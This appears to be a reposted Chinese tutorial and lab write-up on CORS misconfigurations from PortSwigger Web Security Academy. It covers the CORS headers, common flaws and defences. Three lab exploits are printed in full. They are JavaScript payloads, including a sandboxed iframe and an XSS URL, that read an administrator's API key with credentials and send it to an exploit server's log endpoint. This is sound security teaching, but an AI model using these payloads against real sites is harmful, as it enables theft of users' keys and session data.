【Portswigger 学院】CORS

教程和靶场来源于 Burpsuite 的官网 Portswigger:Cross-origin resource sharing (CORS) - PortSwigger

跨域资源共享(Cross-origin resource sharing,CORS)是一种浏览器机制,允许浏览器访问不同源的资源。同源策略的作用是限制浏览器访问不同源的资源的,而 CORS 是为了放宽同源策略的严格限制,允许设置一些策略让浏览器能够访问到不同源的资源。然而,如果 CORS 策略配置不恰当,就存在跨域攻击的风险。

PS:在理解 CORS 跨域的知识时,源(Origin)网站(website)域(domain)可以认为是一个东西。

同源策略

同源策略(Same-origin policy,SOP)限制了浏览器访问不同源的资源的能力,在很久以前,这种机制就已经在浏览器中实现了,为了防止恶意跨域访问,因此这会造成窃取敏感数据等攻击。

下面举一个体现同源策略作用的例子,我在 https://cn.bing.com 网站下的控制台用 fetch API 获取百度的资源:

结果被同源策略被限制。在这个过程中,HTTP 请求已经被浏览器发送出去了,但是返回的响应结果由于同源策略的限制,浏览器被禁止访问。

CORS

在 CORS 策略被开发出来之前,开发者们用 JSONP 技术来实现跨域资源访问。

CORS 用一组 HTTP 头设置策略,告诉浏览器需要满足一些条件才能访问跨域的资源。

CORS 规范定义的响应头:

  • Access-Control-Allow-Origin:指定允许访问资源的域。
  • Access-Control-Expose-Headers:指定浏览器的 JS 代码允许访问哪些额外的响应头(一些基本的响应头默认允许访问)。
  • Access-Control-Max-Age:指定了 preflight 请求(预检请求,即 OPTIONS 请求)的结果能够被缓存多久。
  • Access-Control-Allow-Credentials:当响应报文返回该响应头并设置为 true 时,浏览器的 JS 代码要设置 XMLHttpRequest.withCredentialstrue 或 fetch() 的 Request.credentials 设置为 include 模式,响应才会带浏览器开放访问。
  • Access-Control-Allow-Methods:指定了访问资源时允许使用的请求方法,用于预检请求的响应。
  • Access-Control-Allow-Headers:用于预检请求的响应。其指明了实际请求(预检请求后接下来发送的请求)中允许携带的标头字段。

CORS 规范定义用于跨源请求的请求头:

  • Origin:表明预检请求或实际跨源请求的源站,例如 https://www.baidu.com,不包含 path,其值可以为 null。
  • Access-Control-Request-Method:用于预检请求,其作用是将实际请求所使用的 HTTP 方法告诉服务器。
  • Access-Control-Request-Headers:用于预检请求。其作用是,将实际请求所携带的标头字段(通过 setRequestHeader() 等设置的)告诉服务器。

安全问题

现代网站使用 CORS 策略实现对子域和第三方受信任网站的资源,这些网站可能因为 CORS 过于放宽限制或错误配置而产生漏洞。

在安全测试的过程中主要关注的问题:

  • 网站信任所有的源,具体表现是 Access-Control-Allow-Origin 响应头根据 Origin 请求头值的变化而变化。
  • 错误解析 Origin 头,比如使用 Origin 头的值与信任源白名单中的值进行前缀匹配或后缀匹配。
  • Access-Control-Allow-Origin 响应头支持 null

网站信任所有的源

 Access-Control-Allow-Origin 响应头根据 Origin 请求头的值而设置值,这种情况相当于信任任何一个源:

错误解析 Origin 头

一些组织配置 CORS 策略,都会设置一个白名单,白名单中是受信任的源,也就是允许出现在 Access-Control-Allow-Origin 响应头的值。然而,在收到跨源请求后,判断 Origin 是否在白名单中的方法往往是 URL 前缀或后缀匹配,或者使用正则表达式,这仍然可能导致安全风险

举个例子,某个组织的主域是 normal-website.com,为了支持所有来自子域的跨源请求,会将 Origin 与白名单中的值逐一进行后缀匹配,那么除了 *.normal-website.com 以外,*normal-website.com 域也将允许跨源。此时,攻击者可以注册一个像 hackersnormal-website.com 这样的域名来实现跨源攻击。

不仅限于后缀匹配,前缀匹配也可能存在安全风险,比如攻击者可以注册一个像 normal-website.com.evil-user.net 这样的域名来实现跨源攻击。

ACAO 响应头支持 null

Access-Control-Allow-Origin(ACAO)响应头支持 null,此时 Origin 头为 null 的跨源请求也不受限制。浏览器在以下几种情形中发送 Origin: null

  • Cross-origin redirects.
  • Requests from serialized data.
  • Request using the file: protocol.
  • Sandboxed cross-origin requests.

XSS 与 CORS 的组合

即使 CORS 配置得再严格,如果一个源存在 XSS 漏洞,利用 XSS 仍能通过跨源资源请求窃取敏感数据。

举个例子,X 网站仅支持来自 https://subdomain.vulnerable-website.com 的跨源请求,其他源都不支持,那么攻击者就无法让用户在访问恶意网站时利用 AJAX 进行跨源资源访问。但是,如果 https://subdomain.vulnerable-website.com 网站存在一个 XSS 漏洞,就假设是反射型 XSS,那么攻击者就可以利用 XSS 在当前发起对 X 网站的跨源资源请求,因为 X 网站支持 https://subdomain.vulnerable-website.com。

CORS 配置不当破坏 TLS 加密传输

如果同时支持某个域名的 HTTP 和 HTTPS 两个源,那么利用 MITM 中间人攻击拦截 HTTP 报文并注入 JS 代码。

企业内部网络的 CORS

Access-Control-Allow-Credentials 响应头在预检请求中出现并值为 true,表示接下来的实际请求要带上凭证(如果有的话),没有这个响应头,那么浏览器不会发送凭证(例如 Cookie),攻击者也只能访问未授权的数据。

在一些企业内部网络中,一个私有网站没有外部公开访问的网站那么安全,可能没有配置 Access-Control-Allow-Credentials 响应头,那么这会存在安全风险,发起如下请求就可实现跨源资源访问:

GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com

服务器只返回一个响应头,没有 Access-Control-Allow-Credentials 响应头:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

实验一

这个实验讲述上述第一个安全问题的利用,其他安全问题对应的实验场景基本一样,只是在针对 Access-Control-Allow-Origin 的配置,利用方法有细微的差别,它们的实验不重复讲述,只给出相关的 exploit。

实验说明:

说明中讲到了这个网站存在一个不安全的 CORS 配置,即信任所有源。为了完成实验,需要精心编写一段 JS 代码,利用 CORS 的不安全配置获取到 administrator 的 API 密钥。

进入实验场景:

使用实验说明给的账号 wiener:peter 登录,登录后自动跳转到个人页面,如图:

burpsuite 捕获访问这个页面的流量,找到其中获取当前账号的 API 密钥的请求包和响应包:

发送到 Repeater,添加 Origin 请求头,并随意设置一个域名,然后发送,结果如图:

我在 Origin 头输入 https://example.com,Access-Control-Allow-Origin 头就返回 https://example.com,在 Origin 头输入任何值,Access-Control-Allow-Origin 头就返回同样的值。这就是一个安全问题,任何网站(或者说源)发起的跨源资源请求(通常是 AJAX 请求)都被允许访问这个网站的资源,在当前网站就是 /accountDetails 接口返回的数据。

回到实验场景中,点击按钮进入 exploit 服务器配置:

exploit 服务器配置:

exploit 服务器就相当于攻击者的服务器,配置好响应包的内容,直接点击下发按钮:

服务器就会把这个 https://exploit-0ab500f10427142980b8cad901a900f4.exploit-server.net/exploit 递送给受害者,受害者打开这个链接,就会访问 exploit 服务器的 /exploit,返回攻击者事先配置好的响应包。这个过程模拟了 CSRF 攻击,整个过程大致如下:

说明:

  • exploit 服务器给受害者下发链接相当于给他发了一个钓鱼网站的链接。
  • 第 4 步,受害者访问 exploit 服务器的 /exploit 后,返回一个攻击者事先构造好的页面,其中包含了向 web-security-academy 服务器的 /accountDetails 发送 AJAX 请求,此时也是跨源资源请求,从 exploit 服务器上的网站跨源到 web-security-academy 网站。

下面是 exploit 服务器上事先配置好的 /exploit 响应包:

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0a340056047614ae8068cb8c00e40034.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>

受害者访问 exploit 服务器的 /exploit AJAX 向 web-security-academy 网站的 /accountDetails 发起请求,获取到返回的 administrator API 密钥后,再将密钥附加到 /log?key= 路径后面,然后跳转到这个路径,也就是访问

https://exploit-0ab500f10427142980b8cad901a900f4.exploit-server.net//log?key=<API 密钥>

exploit 服务器的访问日志会记录这个请求,攻击者访问日志也就得到了 API 密钥:

URL 解码得到 API key:lC3pgVmi83I2tj0EICAQoNRwC3grnVML,回到首页,点击顶部的 Submit Solution 按钮提交后完成实验。

实验二(exploit)

这次实验场景中的 CORS 配置与前一个实验的有所不同,在 /accountDetails 请求添加 Origin: null,响应头 Access-Control-Allow-Origin 的值为 null,表示支持 Origin 为 null 的跨源请求:

Origin 自动设置当前网站的协议+域名,而我们知道没有一个网站的域名是 null,所以需要一些特殊技巧发送出去一个 Origin: null 的跨源请求,沙盒化跨域请求可以做到这一点。

下面是发送沙盒化跨域请求的代码:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0ac6007104b0e71c8394d72e00640072.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='https://exploit-0ad600a504c8e7fb8390d61901df000b.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

把这段代码作为 /explpoit 的响应体:

下发 exploit 给受害者后,在访问日志就能看到 administrator 的 API 密钥了。

实验三(exploit)

实验说明:

这个实验与前面的环境几乎一样,仅 CORS 策略的配置有些不同,支持的源有:

http://0a1000a4039ea0e180a96c7200c50053.web-security-academy.net
https://0a1000a4039ea0e180a96c7200c50053.web-security-academy.net
http://stock.0a1000a4039ea0e180a96c7200c50053.web-security-academy.net
https://stock.0a1000a4039ea0e180a96c7200c50053.web-security-academy.net

在 stock 这个子域存在一个 XSS 漏洞:

利用这个 XSS 漏洞发起跨源资源请求,窃取 adminstrator 的 API 密钥,然后发送到 exploit 服务器上。

exploit:

<script>
    document.location="http://stock.0a1000a4039ea0e180a96c7200c50053.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a1000a4039ea0e180a96c7200c50053.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0aea00bb0310a08580cb6b0c016f00b3.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

XSS payload 几乎跟前两个实验的 JS 代码一样。

后面就是下发 exploit 给受害者,然后查看访问日志,找到 API 密钥并提交即可。

防御

  • 正确配置 Access-Control-Allow-Origin 响应头,设置一个受信任源的白名单,不支持 null 值。
  • CORS 是针对浏览器的机制,服务器也要对资源完善身份验证和授权等机制。

参考

和跨域CORS有关的几个请求头和响应头以及预检请求_2、与跨域相关的请求头和响应头各有哪些?-CSDN博客

 跨源资源共享(CORS) - HTTP | MDN (mozilla.org)

HTTP headers | Access-Control-Allow-Credentials - GeeksforGeeks 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/724724.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

32.双击列表启动目标游戏

上一个内容&#xff1a;31.加载配置文件中的游戏到辅助列表 以 31.加载配置文件中的游戏到辅助列表 它的代码为基础进行修改 效果图&#xff1a; 添加列表双击事件 实现代码&#xff1a; LPNMITEMACTIVATE pNMItemActivate reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR…

送检了200多款主食冻干,花费百万后,我测评了VE、希喂、朗诺!

主食冻干真是养猫的好帮手&#xff0c;方便、易喂&#xff0c;还能为猫咪提供全面营养&#xff01;它模拟了猫咪的自然捕猎饮食&#xff0c;采用低温脱水和灭菌技术制成。这样的主食冻干不仅让铲屎官们的喂养变得轻松&#xff0c;还满足了猫咪的味蕾和营养需求。更重要的是&…

Orangepi Zero2

1、Orangepi Zero2 Orangepi Zero2 是基于全志H616的一款产品 特性&#xff1a; CPU全志H616四核64位1.5GHz高性能Cortex-A53处理器 GPU MaliG31MP2 SupportsOpenGLES1.0/2.0/3.2、OpenCL2.0 运行内存1GB DDR3(与GPU共享) 存储TF卡插槽&#xff0c;测试128G可支持、2MB SPI Fl…

【android】json

设置第potition个数据项的view的属性 成功显示数据项&#xff0c;熟悉recycleview三个方法 新建页面&#xff0c;定义适配器&#xff0c;指定使用MyViewHolder类对象保存每个数据胡view组件 padding-内部边距 bold-加粗 新建类&#xff0c;描述新闻内容 定义组件 public i…

MYSQL无法启动的修复过程

记录一次MySQ无法启动的修复过程。 1. 错误表现 今天在用python操作数据库时可能有些错误&#xff08;具体来说就是我尝试创建了一个已经存在的database&#xff09;&#xff0c;结果我发现MySQL中的那个database不存在了&#xff0c;我重启了一下电脑&#xff0c;结果mysql…

Webpack源码深入-webpack和webpack-cli

webpack源码深入-webpack和webpack-cli webpack命令工作原理如下 webpack指令 // webpack/package.json {..."mian":"lib/index.js","bin": {"webpack": "bin/webpack.js"},... }webpack指令的入口是webpack.js。 首先…

数据质量管理-规范性管理

数据质量管理简介 数据质量管理是一个持续性的管理动作&#xff0c;有些人在做数据质量管理的时候会陷入一步到位的误区&#xff0c;想要通过一个工具、平台&#xff0c;或者一套质检规则就完成整体的数据质量管理&#xff0c;而实际数据质量管理从数据接入的那一刻就需要介入…

rockchip linux sdk指定编译配置文件

SDK&#xff1a;rk3568_linux4.19_V1.4.0 硬件平台&#xff1a;RK3566 一、指定板级配置文件 板级配置文件在<SDK>/device/rockchip/rk3566_rk3568目录下。 1、方法1 ./build.sh后⾯加上板级配置⽂件&#xff0c;例如&#xff1a; ./build.sh /device/rockchip/rk3…

《数字图像处理(面向新工科的电工电子信息基础课程系列教材)》封面五年构想

禹晶、肖创柏、廖庆敏《数字图像处理&#xff08;面向新工科的电工电子信息基础课程系列教材&#xff09;》 2028年再版时&#xff0c;我要组个九宫图&#xff0c;构思中。。。

AI教育的“智”变大考,小度率先提交答卷!!

目录 01 LLM重定义“AI教师” 02 全新小度&#xff0c;换上“最强大脑” 03 智能原生&#xff1a;AI硬件破局的关键 作为继OpenAI、微软和谷歌之后&#xff0c;万众期待的最后一个尖子生&#xff0c;苹果在上周的WWDC24全球开发者大会上&#xff0c;终于交出了自己的“AI答卷…

【java分布式计算】分布式计算程序设计基础

期末复习 自留 重点只抓考点 目录 基本技术 SOCKETS网络套接字 多线程 数据序列化 Java I/O流 集合容器 范型 内部类、匿名类、Lambda&#xff08;代码&#xff09; 项目构建管理工具 高级技术 注解&#xff08;代码&#xff09; 反射&#xff08;代码&#xff09;…

信息学奥赛初赛天天练-29-CSP-J2022阅读程序-掌握递归、递推、动态规划、二分与极值函数应用

PDF文档公众号回复关键字:20240619 2022 CSP-J 阅读程序2 阅读程序(判断题1.5分 选择题3分 共计40分 ) 01 #include <algorithm> 02 #include <iostream> 03 #include <limits> 04 05 using namespace std; 06 07 const int MAXN 105; 08 const int MAX…

使用docker离线制作es镜像,方便内网环境部署

1、自己在本地安装docker以及docker-compose 2、拉取elasticsearch镜像 docker pull elasticsearch:7.14.0 docker pull kibana:7.14.0 3、将拉取到的镜像打包到本地目录 docker save elasticsearch:7.14.0 -o /Users/yanjun.hou/es/elasticsearch-7.14.0.tar docker save kib…

application/x-www-form-urlencoded和json的区别

application/x-www-form-urlencoded 和 application/json 是两种不同的数据格式&#xff0c;常用于HTTP请求中传递数据。 它们各自的特点和使用场景如下&#xff1a; 1. application/x-www-form-urlencoded •特点&#xff1a;这是一种传统的表单提交时采用的编码类型&#x…

# 消息中间件 RocketMQ 高级功能和源码分析(五)

消息中间件 RocketMQ 高级功能和源码分析&#xff08;五&#xff09; 一、 消息中间件 RocketMQ 源码分析&#xff1a;NameServer 路由元数据 1、消息中间件 RocketMQ 中&#xff0c;NameServer 路由管理 NameServer 的主要作用是为消息的生产者和消息消费者提供关于主题 To…

相交链表(Leetcode)

题目分析&#xff1a; . - 力扣&#xff08;LeetCode&#xff09; 相交链表&#xff1a;首先我想到的第一个思路是&#xff1a;如图可知&#xff0c;A和B链表存在长度差&#xff0c;从左边一起遍历链表不好找交点&#xff0c;那我们就从后面开始找&#xff0c;但是这是单链表&…

惊天大瓜陈晓与陈妍希婚姻生变

惊天大瓜&#xff01;陈晓与陈妍希婚姻生变&#xff0c;疑似去年底已走向终点娱乐圈再次掀起波澜&#xff01;今日&#xff0c;知名狗仔曝光了一段视频&#xff0c;内容直指陈晓与陈妍希这对曾经的金童玉女疑似婚姻破裂。据悉&#xff0c;陈晓在去年底单方面向陈妍希提出了离婚…

AI 已经在污染互联网了。。赛博喂屎成为现实

大家好&#xff0c;我是程序员鱼皮。这两年 AI 发展势头迅猛&#xff0c;更好的性能、更低的成本、更优的效果&#xff0c;让 AI 这一曾经高高在上的技术也走入大众的视野&#xff0c;能够被我们大多数普通人轻松使用&#xff0c;无需理解复杂的技术和原理。 其中&#xff0c;…

Gin 详解

Gin 介绍 gin框架是一个基于go语言的轻量级web框架&#xff0c;它具有高效性、灵活性、易扩展性路由 gin框架使用的是定制版的httprouter 其路由原理是大量使用公共前缀的树结构&#xff0c;注册路由的过程就是构造前缀树的过程。 具有公共前缀的节点也共享一个公共父节点。…

【第19章】Vue实战篇之主页面

文章目录 前言一、代码1. 主界面代码2. App.vue 二、展示总结 前言 登录完成之后&#xff0c;应该自动跳转到主页面&#xff0c;接下来我们搭建主界面。 一、代码 1. 主界面代码 <script setup> import {Management,Promotion,UserFilled,User,Crop,EditPen,SwitchBut…